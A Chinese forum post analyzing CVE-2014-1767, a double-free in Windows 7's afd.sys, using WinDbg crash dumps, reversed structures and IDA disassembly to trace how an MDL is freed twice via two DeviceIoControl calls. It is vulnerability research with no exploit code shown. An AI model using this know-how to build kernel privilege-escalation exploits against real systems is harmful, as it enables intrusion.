首页
社区
课程
招聘
[原创]凑个热闹: CVE-2014-1767 分析报告
2022-6-29 20:08 10580

[原创]凑个热闹: CVE-2014-1767 分析报告

2022-6-29 20:08
10580

写在前面

  1. 本文首发于 Debugwar.com, 授权转载到看雪论坛,其他转载请注明出处。
  2. 看雪的这个MarkDown的系统与我的写作系统有点冲突,排版可能会有问题,可以点上面的连接去看原文获得更好地排版体验。
  3. Linux的输入法你懂的,可能会有错字别字,大家多包涵~
  4. 其实本文今年年初的时候就写了大部分了, 后来懒癌发作一直没有继续写完, 最近看到论坛里不少人也发了这个漏洞的分析,索性就写完发到论坛里来凑个热闹

简介

该漏洞为Pwn2014上Siberas团队公布的提权漏洞,此漏洞出现在AFD.sys文件中,POC将以DoubleFree的形式触发漏洞,利用思路是通过将DoubleFree漏洞转换为UAF来构造Exploit。

 

本文的调试环境为Windows 7 SP1 x86,通过双虚拟机双机调试。这和参考1中漏洞发现者的环境不同, 因此有些细节也不一样(例如漏洞发现者PDF中提到的内存为NonPagedPoolNx, 而我们的是NonPagePool)。

 

本漏洞成因简单、利用思路也非常经典, 因此极为适合新手作为漏洞学习的入门洞。

漏洞触发

漏洞触发现场

漏洞触发现场如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
******************************************************************************* 
*                                                                             * 
*                        Bugcheck Analysis                                    * 
*                                                                             * 
******************************************************************************* 
 
BAD_POOL_CALLER (c2) 
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc. 
Arguments: 
Arg1: 00000007, Attempt to free pool which was already freed 
Arg2: 00001097, Pool tag value from the pool header 
Arg3: 08b50005, Contents of the first 4 bytes of the pool header 
Arg4: 8757da60, Address of the block of pool being deallocated 
 
Debugging Details: 
------------------ 
 
KEY_VALUES_STRING: 1 
 
    Key  : Analysis.CPU.mSec 
    Value: 5140 
 
    Key  : Analysis.DebugAnalysisManager 
    Value: Create 
 
    Key  : Analysis.Elapsed.mSec 
    Value: 17640 
 
    Key  : Analysis.Init.CPU.mSec 
    Value: 3765 
 
    Key  : Analysis.Init.Elapsed.mSec 
    Value: 107564 
 
    Key  : Analysis.Memory.CommitPeak.Mb 
    Value: 69 
 
    Key  : WER.OS.Branch 
    Value: win7sp1_rtm 
 
    Key  : WER.OS.Timestamp 
    Value: 2010-11-19T18:50:00Z 
 
    Key  : WER.OS.Version 
    Value: 7.1.7601.17514 
 
 
BUGCHECK_CODE:  c2 
 
BUGCHECK_P1: 7 
 
BUGCHECK_P2: 1097 
 
BUGCHECK_P3: 8b50005 
 
BUGCHECK_P4: ffffffff8757da60 
 
POOL_ADDRESS:  8757da60 Nonpaged pool 
 
FREED_POOL_TAG:  Mdl_ 
 
PROCESS_NAME:  CVE-2014-1767.exe 
 
STACK_TEXT:   
80f6454c 83ce6589     00000003 610826c5 00000065 nt!RtlpBreakWithStatusInstruction 
80f6459c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c 
80f64960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b 
80f649d8 83c8276a     8757da60 00000000 89136350 nt!ExFreePoolWithTag+0x1b2 
80f649ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70 
80f64a08 8e3898ac     00000000 00000001 0ec1bfa8 afd!AfdReturnTpInfo+0xad 
80f64a44 8e38abba     0ec1bf00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 
80f64aec 8e38f2bc     89067880 87610030 80f64b14 afd!AfdTransmitPackets+0x12e 
80f64afc 83c43047     87610030 890a8ee0 890a8ee0 afd!AfdDispatchDeviceControl+0x3b 
80f64b14 83e199d5     89067880 890a8ee0 890a8fbc nt!IofCallDriver+0x63 
80f64b34 83e1bdc8     87610030 89067880 00000000 nt!IopSynchronousServiceTail+0x1f8 
80f64bd0 83e22d9d     87610030 890a8ee0 00000000 nt!IopXxxControlFile+0x6aa 
80f64c04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
80f64c04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
002cf478 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 
002cf47c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 
002cf4dc 75d2a671     00000050 000120c3 01326200 KERNELBASE!DeviceIoControl+0xf6 
002cf508 013217be     00000050 000120c3 01326200 kernel32!DeviceIoControlImplementation+0x80 
WARNING: Stack unwind information not available. Following frames may be wrong. 
002cf6f8 01321396     00000012 000c0ffc 000c0fec CVE_2014_1767+0x17be 
002cf798 75d33c45     00000000 75d33c45 7ffd9000 CVE_2014_1767+0x1396 
002cf7ac 778937f5     7ffd9000 77be9209 00000000 kernel32!BaseThreadInitThunk+0xe 
002cf7ec 778937c8     013214c0 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 
002cf804 00000000     013214c0 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b 
 
 
SYMBOL_NAME:  afd!AfdReturnTpInfo+ad 
 
MODULE_NAME: afd 
 
IMAGE_NAME:  afd.sys 
 
STACK_COMMAND:  .thread ; .cxr ; kb 
 
FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad 
 
OS_VERSION:  7.1.7601.17514 
 
BUILDLAB_STR:  win7sp1_rtm 
 
OSPLATFORM_TYPE:  x86 
 
OSNAME:  Windows 7 
 
FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef
 
Followup:     MachineOwner 
---------

由上述第69行可知,为IoFreeMdl在释放8757da60时出现Double Free错误导致。到这里,很自然会产生如下几个疑问:

 

为什么会DoubleFree? <--- 终极问题
8757da60这个MDL是在哪里分配的?
第一次是在哪里释放的?
第二次是在哪里释放的?

 

其中,第四个问题可以立刻解答,因为当前现场即是第二次释放现场。

 

为了解答上面的第一个终极问题,我们要先搞清楚问题2、3。

寻找内存分配时机

(注意:由于该漏洞属于内核级漏洞,因此调试过程中需要不停重启,因此下文中截图涉及内存地址的地方会有差异。)

 

既然是寻找Mdl的内存分配,首先看一眼IoAllocateMdl的调用交叉引用:

 

图片描述

 

Emmm……打消了一个一个找的念头。

 

然后想利用条件断点在IoAllocateMdl返回8757da60这个地址时下断,发现一旦下了断点,这个地址会发生改变——似乎进入死胡同了(后来发现其实多断几次总是能断到的)。

 

这里网上大部分的分析文章都是从POC的两次DeviceIOControl着手分析。本文本着自虐的原则,笔者会假设我们并不知道POC的内容是什么,这次BugCheck只是漏洞挖掘的Fuzz环境中发现的一次内核级异常,我们将尽量尝试贴近真实的漏洞挖掘环境。

 

首先上IDA看一下出现异常的现场上下文是怎样的(注意,下图中已经加载了符号分析得到的数据结构):

 

图片描述

 

有的朋友可能好奇这些数据结构是如何分析得到的,在这里笔者只能告诉大家,通过对:AfdReturnTpInfo、AfdTransmitFile、AfdTliGetTpInfo可以得到如下关键结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct struc_UnkObj 
  NTSTATUS Status; 
  int Length; 
  PVOID VirtualAddress; 
  PMDL MdlAddress; 
  PFILE_OBJECT Object
  int field_14; 
}; 
 
struct struc_TPInfo 
  PIRP field_0; 
  int field_4; 
  int field_8; 
  int field_C; 
  int field_10; 
  int field_14; 
  int field_18; 
  PIRP Irp3; 
  struc_UnkObj *UnkObjArray; 
  int field_24; 
  int UnkCounter; 
  int field_2C; 
  int IrpCounter; 
  int field_34; 
  int AfdTransmitIoLength; 
  int field_3C; 
  int field_40; 
  int field_44; 
  int field_48; 
  int field_4C; 
  int field_50; 
  int field_54; 
  int field_58; 
  int field_5C; 
  int field_60; 
  int field_64; 
  int field_68; 
  int field_6C; 
  PIRP Irp; 
  PIRP Irp2; 
  int field_78; 
  int field_7C; 
  int field_80; 
  int field_84; 
  int field_88; 
  int field_8C; 
  int field_90; 
  int field_94; 
};

然后看一眼出问题的struc_UnkObj->MdlAddress的交叉引用:

 

图片描述

 

发现对MdlAddress成员的写操作,均在AfdTransmitFile函数中,然后在调试器中对几次MdlAddress赋值的地方下断点,中断后情况如下:

 

图片描述

 

此时看一下eax的值(8757da60),发现和本文一开始异常发生时,IoFreeMdl尝试释放的值一致。说明我们找对分配内存的地方了:

 

图片描述

 

其实简单一点来说就是,struc_TPInfo(v6和v7)由下图92行的AlfTliGetIpInfo构造并初始化、struc_TPInfo->struc_UnkObj(v50和v11)的MdlAddress成员由下图122行分配。

 

图片描述

 

特别强调,由于内存通过上图92行的AfdTliGetTpInfo分配struc_TPInfo结构后,继续由122行的IoAllocateMdl分配了一个初始化的MDL内存,因此第一次IoFreeMdl释放这块内存时是不会蓝屏的(详见下一节分析)。

寻找第一次释放时机

OK,既然目前内存何时分配已经清楚了,那我们来看一下这块内存第一次是何时释放的。

 

在WinDbg中下如下断点:

1
bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}"

注意,这里有一个坑, 由于笔者是用64位WindDBG调试32位系统, 上面断点的值是64位的, 实测使用32位的值无法中断。

 

中断在如下地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
kd> r 
eax=8757da60 ebx=8913b7b8 ecx=00000000 edx=00000000 esi=89107410 edi=89107380 
eip=8e38a48e esp=80e5ca48 ebp=80e5caec iopl=0         nv up ei pl zr na pe nc 
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246 
afd!AfdTransmitFile+0x170
8e38a48e 89460c          mov     dword ptr [esi+0Ch],eax ds:0023:8910741c=ffffffff 
kd> bp nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}" 
kd> bl 
     0 e Disable Clear  83c826fa     0001 (0001) nt!IoFreeMdl ".if(poi(@esp + 0x4) = 0xffffffff`8757da60){}.else{gc;}" 
 
kd> g 
nt!IoFreeMdl: 
83c826fa 8bff            mov     edi,edi 
kd> kb 
 # ChildEBP RetAddr      Args to Child               
00 80e5ca1c 8e3a6eb0     8757da60 00000000 8e38a840 nt!IoFreeMdl 
01 80e5ca38 8e38a8c1     00000000 00000001 0ed23f00 afd!AfdReturnTpInfo+0xad 
02 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitFile+0x5a3 
03 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 
04 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 
05 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 
06 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 
07 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
08 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
09 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 
0a 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 
0b 0051f4fc 75d2a671     00000050 0001207f 00156060 KERNELBASE!DeviceIoControl+0xf6  // 此时control code为0x1207f
0c 0051f528 00151774     00000050 0001207f 00156060 kernel32!DeviceIoControlImplementation+0x80 
WARNING: Stack unwind information not available. Following frames may be wrong. 
0d 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x1774 
0e 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 
0f 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 
10 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 
11 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

发现调用路径是:

1
AfdTransmitFile -> AfdReturnTpInfo -> IoFreeMdl

顺着调用链继续追踪:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PAGE:0002C840 loc_2C840:                              ; DATA XREF: .rdata:stru_20A38↑o 
PAGE:0002C840 ;   __except(loc_2C833) // owned by 2C376 
PAGE:0002C840                 mov     esp, [ebp+ms_exc.old_esp] 
PAGE:0002C843                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh 
PAGE:0002C84A                 mov     ebx, [ebp+var_38] 
PAGE:0002C84D 
PAGE:0002C84D loc_2C84D:                              ; CODE XREF: AfdTransmitFile(x,x)+3E↑j 
PAGE:0002C84D                                         ; AfdTransmitFile(x,x)+50↑j ... 
PAGE:0002C84D                 cmp     [ebp+var_19], 0 
PAGE:0002C851                 jz      short loc_2C8A4 
PAGE:0002C853                 mov     ecx, [ebp+var_30] 
PAGE:0002C856                 xor     eax, eax 
PAGE:0002C858                 inc     eax 
PAGE:0002C859                 cmp     [ecx+4], eax 
PAGE:0002C85C                 jb      short loc_2C8A4 
PAGE:0002C85E                 cmp     byte ptr [ebx+20h], 0 
PAGE:0002C862                 jz      short loc_2C89E 
……………… 
PAGE:0002C8A4 loc_2C8A4:                              ; CODE XREF: AfdTransmitFile(x,x)+533↑j 
PAGE:0002C8A4                                         ; AfdTransmitFile(x,x)+53E↑j ... 
PAGE:0002C8A4                 cmp     [ebp+TPInfo], 0 
PAGE:0002C8A8                 jz      short loc_2C8C1 
PAGE:0002C8AA                 mov     eax, [ebp+var_34] 
PAGE:0002C8AD                 mov     eax, [eax+8
PAGE:0002C8B0                 shr     eax, 9 
PAGE:0002C8B3                 and     al, 1 
PAGE:0002C8B5                 movzx   eax, al 
PAGE:0002C8B8                 push    eax             ; IsFreeMemory 
PAGE:0002C8B9                 push    [ebp+TPInfo]    ; Entry 
PAGE:0002C8BC                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x) 
PAGE:0002C8C1 
PAGE:0002C8C1 loc_2C8C1:                              ; CODE XREF: AfdTransmitFile(x,x)+58A↑j 
PAGE:0002C8C1                 and     dword ptr [ebx+1Ch], 0 
PAGE:0002C8C5                 mov     eax, [ebp+var_20] 
PAGE:0002C8C8                 mov     [ebx+18h], eax 
PAGE:0002C8CB                 xor     dl, dl          ; PriorityBoost 
PAGE:0002C8CD                 mov     ecx, ebx        ; Irp 
PAGE:0002C8CF                 call    ds:__imp_@IofCompleteRequest@8 ; IofCompleteRequest(x,x) 
PAGE:0002C8D5                 mov     eax, [ebp+var_20] 
PAGE:0002C8D8 
PAGE:0002C8D8 loc_2C8D8:                              ; CODE XREF: AfdTransmitFile(x,x)+4F1↑j 
PAGE:0002C8D8                 call    __SEH_epilog4 
PAGE:0002C8DD                 retn

发现上面这一片是异常处理代码,其try块位于 2C376 处, 而这个try块恰好包含我们上面跟踪到的分配Mdl内存的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PAGE:0002C376 ;   __try { // __except at loc_2C840 
PAGE:0002C376                 mov     [ebp+ms_exc.registration.TryLevel], ecx 
PAGE:0002C379                 cmp     byte ptr [ebx+20h], 0 
…………………… 
PAGE:0002C44B 
PAGE:0002C44B loc_2C44B:                              ; CODE XREF: AfdTransmitFile(x,x)+127↑j 
PAGE:0002C44B                 mov     edx, [ebp+FileInformation.Length] 
PAGE:0002C44E                 test    edx, edx        ; Lengt != 0 
PAGE:0002C450                 jbe     short loc_2C4A3 ; no jmp 
PAGE:0002C452                 mov     ecx, [ebp+var_28] 
PAGE:0002C455                 mov     eax, [ecx] 
PAGE:0002C457                 mov     esi, eax 
PAGE:0002C459                 imul    esi, 18h 
PAGE:0002C45C                 add     esi, [edi+20h
PAGE:0002C45F                 mov     [ebp+var_2C], esi 
PAGE:0002C462                 inc     eax 
PAGE:0002C463                 mov     [ecx], eax 
PAGE:0002C465                 mov     eax, [ebp+FileInformation.VirtualAddress] 
PAGE:0002C468                 mov     [esi+8], eax 
PAGE:0002C46B                 mov     [esi+4], edx 
PAGE:0002C46E                 mov     dword ptr [esi], 1 
PAGE:0002C474                 test    byte ptr [ebp+FileInformation.field_28], 10h 
PAGE:0002C478                 jz      short loc_2C4A3 
PAGE:0002C47A                 mov     dword ptr [esi], 80000001h 
PAGE:0002C480                 push    0               ; Irp 
PAGE:0002C482                 push    1               ; ChargeQuota 
PAGE:0002C484                 push    0               ; SecondaryBuffer 
PAGE:0002C486                 push    edx             ; Length 
PAGE:0002C487                 push    eax             ; VirtualAddress 
PAGE:0002C488                 call    ds:__imp__IoAllocateMdl@20 ; IoAllocateMdl(x,x,x,x,x)  // 此处地址即为 `寻找内存分配时机` 一节中分析得到的内存分配点(参考上文)
PAGE:0002C48E                 mov     [esi+0Ch], eax 
PAGE:0002C491                 test    eax, eax 
PAGE:0002C493                 jz      short loc_2C417 
PAGE:0002C495                 push    0               ; Operation 
PAGE:0002C497                 movzx   ecx, byte ptr [ebx+20h
PAGE:0002C49B                 push    ecx             ; AccessMode 
PAGE:0002C49C                 push    eax             ; MemoryDescriptorList 
PAGE:0002C49D                 call    ds:__imp__MmProbeAndLockPages@12 ; MmProbeAndLockPages(x,x,x)  <--- 此处触发异常,控制权交给异常处理代码 
PAGE:0002C4A3 
…………………… 
PAGE:0002C670                 mov     eax, [ebp+FileInformation.field_28] 
PAGE:0002C673                 mov     [ebx+44h], eax 
PAGE:0002C673 ;   } // starts at 2C376

让我们来看一下上面30行地址的调试器现场:

 

图片描述

 

结合IoAllocateMdl函数原型:

1
2
3
4
5
6
7
PMDL IoAllocateMdl( 
  [in, optional]      __drv_aliasesMem PVOID VirtualAddress, 
  [in]                ULONG                  Length, 
  [in]                BOOLEAN                SecondaryBuffer, 
  [in]                BOOLEAN                ChargeQuota, 
  [in, out, optional] PIRP                   Irp 
);

可知,此时程序正在尝试从0x13371337地址处分配一块0x0015fcd9大小的内存。而上图中8e38a49d地址处的call MmPorbeAndLockPages则尝试锁定刚刚分配的这块Mdl内存。

 

由于MDL中的内存地址是(我们控制,见下文分析)非法地址(0x13371337),从而导致MmProbeAndLockPage抛出异常,代码控制权转移到了异常控制块,从而需要依次调用:

1
AfdReturnTpInfo -> IoFreeMdl

也就是我们上面发现的异常调用链,至此第一次释放的原因已经分析清楚。

 

这时,需要注意一点:程序在调用IoFreeMdl之后,并没有将Mdl的指针设置为NULL,这里造成了悬挂指针的问题:

 

图片描述

 

上图中,Entry为struc_TPInfo结构,由于这里并没有将struc_TPInfo->UnkObjArray的各个元素以及这个数组的各个子元素置NULL,当AfdReturnTpInfo最后释放Entry后,如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存,这里即产生了悬挂指针的问题。

包袱1

这里笔者留个包袱,这个包袱将关联后文的构造POC一节。

 

通过分析释放时机可知,导致第一次内存释放的调用链:

 

CVE_2014_1767-> nt!DeviceIoControl -> afd!DispatchDeviceControl -> afd!AfdTransmitFile

 

通过回溯DeviceIoControl调用栈里面的信息,可知如下几个调用参数:

1
2
3
控制码(ControlCode):0x1207f
输入缓冲区地址:0x132606
输入缓冲区长度: 0x30

如下图:

 

图片描述

 

(如果现在对比POC中填充的inbuf1,就可以看到上图中0x1326060+6*0x4位置处开始即为POC代码填充的数据了,此时可见上文中提到的非法地址:0x13371337)

寻找第二次内存释放时机

上一节结尾提到

 

“如果我们再次申请一个struc_TPInfo结构,则会得到保留了上次数据的一块内存”

 

而通过“寻找内存分配时机”一节可知,AfdTliGetTpInfo负责分配一个struc_TPInfo结构。

 

那么AfdTliGetTpInfo函数有几次调用呢?看下图:

 

图片描述

 

可见AfdTransmitPackets函数还会调用一次这个函数, 这也是本节我们将要分析的点。

 

我们继续在windbg中执行g命令让程序继续跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
kd> g 
nt!IoFreeMdl: 
83c826fa 8bff            mov     edi,edi 
kd> kb 
 # ChildEBP RetAddr      Args to Child               
00 80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl 
01 80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad 
02 80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 
03 80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e 
04 80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 
05 80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 
06 80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 
07 80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 
08 80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
09 80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
0a 0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 
0b 0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 
0c 0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6 
0d 0051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80 
WARNING: Stack unwind information not available. Following frames may be wrong. 
0e 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be 
0f 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 
10 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 
11 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 
12 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b 
kd> g  // 此处如果再g一次,便可以得到本文一开始的BSOD现场
 
*** Fatal System Error: 0x000000c2 
                       (0x00000007,0x00001097,0x08B50005,0x8757DA60
 
Break instruction exception - code 80000003 (first chance) 
 
A fatal system error has occurred. 
Debugger entered on first try; Bugcheck callbacks have not been invoked. 
 
A fatal system error has occurred. 
 
For analysis of this file, run !analyze -
nt!RtlpBreakWithStatusInstruction: 
83c6cd00 cc              int     3 
kd> !analyze -// 通过下文的堆栈分析可以发现现场和本文一开始一致
Connected to Windows 7 7601 x86 compatible target at (Tue Mar 22 14:02:00.608 2022 (UTC + 8:00)), ptr64 FALSE 
Loading Kernel Symbols 
............................................................... 
................................................................ 
 
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long
Run !sym noisy before .reload to track down problems loading symbols. 
 
......... 
Loading User Symbols 
................ 
Loading unloaded module list 
............... 
******************************************************************************* 
*                                                                             * 
*                        Bugcheck Analysis                                    * 
*                                                                             * 
******************************************************************************* 
 
BAD_POOL_CALLER (c2) 
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc. 
Arguments: 
Arg1: 00000007, Attempt to free pool which was already freed 
Arg2: 00001097, Pool tag value from the pool header 
Arg3: 08b50005, Contents of the first 4 bytes of the pool header 
Arg4: 8757da60, Address of the block of pool being deallocated 
 
Debugging Details: 
------------------ 
 
************************************************************************* 
***                                                                   *** 
***                                                                   *** 
***    Either you specified an unqualified symbol, or your debugger   *** 
***    doesn't have full symbol information.  Unqualified symbol      *** 
***    resolution is turned off by default. Please either specify a   *** 
***    fully qualified symbol module!symbolname, or enable resolution *** 
***    of unqualified symbols by typing ".symopt- 100". Note that     *** 
***    enabling unqualified symbol resolution with network symbol     *** 
***    server shares in the symbol path may cause the debugger to     *** 
***    appear to hang for long periods of time when an incorrect      *** 
***    symbol name is typed or the network symbol server is down.     *** 
***                                                                   *** 
***    For some commands to work properly, your symbol path           *** 
***    must point to .pdb files that have full type information.      *** 
***                                                                   *** 
***    Certain .pdb files (such as the public OS symbols) do not      *** 
***    contain the required information.  Contact the group that      *** 
***    provided you with these symbols if you need this command to    *** 
***    work.                                                          *** 
***                                                                   *** 
***    Type referenced: kernel32!gpServerNlsUserInfo                  *** 
***                                                                   *** 
************************************************************************* 
 
KEY_VALUES_STRING: 1 
 
    Key  : Analysis.CPU.mSec 
    Value: 5296 
 
    Key  : Analysis.DebugAnalysisManager 
    Value: Create 
 
    Key  : Analysis.Elapsed.mSec 
    Value: 12813 
 
    Key  : Analysis.Init.CPU.mSec 
    Value: 7218 
 
    Key  : Analysis.Init.Elapsed.mSec 
    Value: 127788 
 
    Key  : Analysis.Memory.CommitPeak.Mb 
    Value: 147 
 
    Key  : WER.OS.Branch 
    Value: win7sp1_rtm 
 
    Key  : WER.OS.Timestamp 
    Value: 2010-11-19T18:50:00Z 
 
    Key  : WER.OS.Version 
    Value: 7.1.7601.17514 
 
 
BUGCHECK_CODE:  c2 
 
BUGCHECK_P1: 7 
 
BUGCHECK_P2: 1097 
 
BUGCHECK_P3: 8b50005 
 
BUGCHECK_P4: ffffffff8757da60 
 
POOL_ADDRESS:  8757da60 Nonpaged pool 
 
FREED_POOL_TAG:  Mdl_ 
 
PROCESS_NAME:  CVE-2014-1767.exe 
 
STACK_TEXT:   
80e5c54c 83ce6589     00000003 611ba6c5 00000065 nt!RtlpBreakWithStatusInstruction 
80e5c59c 83ce7085     00000003 8757da58 000001ff nt!KiBugCheckDebugBreak+0x1c 
80e5c960 83d2cc4e     000000c2 00000007 00001097 nt!KeBugCheck2+0x68b 
80e5c9d8 83c8276a     8757da60 00000000 89107380 nt!ExFreePoolWithTag+0x1b2 
80e5c9ec 8e3a6eb0     8757da60 00000000 8e38989f nt!IoFreeMdl+0x70 
80e5ca08 8e3898ac     00000000 00000001 0ed23fa8 afd!AfdReturnTpInfo+0xad 
80e5ca44 8e38abba     0ed23f00 000120c3 8e38aa8c afd!AfdTliGetTpInfo+0x89 
80e5caec 8e38f2bc     890ad7c0 87610030 80e5cb14 afd!AfdTransmitPackets+0x12e 
80e5cafc 83c43047     87610030 8913b7b8 8913b7b8 afd!AfdDispatchDeviceControl+0x3b 
80e5cb14 83e199d5     890ad7c0 8913b7b8 8913b894 nt!IofCallDriver+0x63 
80e5cb34 83e1bdc8     87610030 890ad7c0 00000000 nt!IopSynchronousServiceTail+0x1f8 
80e5cbd0 83e22d9d     87610030 8913b7b8 00000000 nt!IopXxxControlFile+0x6aa 
80e5cc04 83c4987a     00000050 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
80e5cc04 778770b4 (T) 00000050 00000000 00000000 nt!KiFastCallEntry+0x12a 
    <Intermediate frames may have been skipped due to lack of complete unwind> 
0051f498 77875864 (T) 75a0989d 00000050 00000000 ntdll!KiFastSystemCallRet 
0051f49c 75a0989d     00000050 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 
0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6  //此时control code为0x120c3
0051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80 
WARNING: Stack unwind information not available. Following frames may be wrong. 
0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be 
0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396 
0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe 
0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70 
0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b 
 
 
SYMBOL_NAME:  afd!AfdReturnTpInfo+ad 
 
MODULE_NAME: afd 
 
IMAGE_NAME:  afd.sys 
 
STACK_COMMAND:  .thread ; .cxr ; kb 
 
FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad 
 
OS_VERSION:  7.1.7601.17514 
 
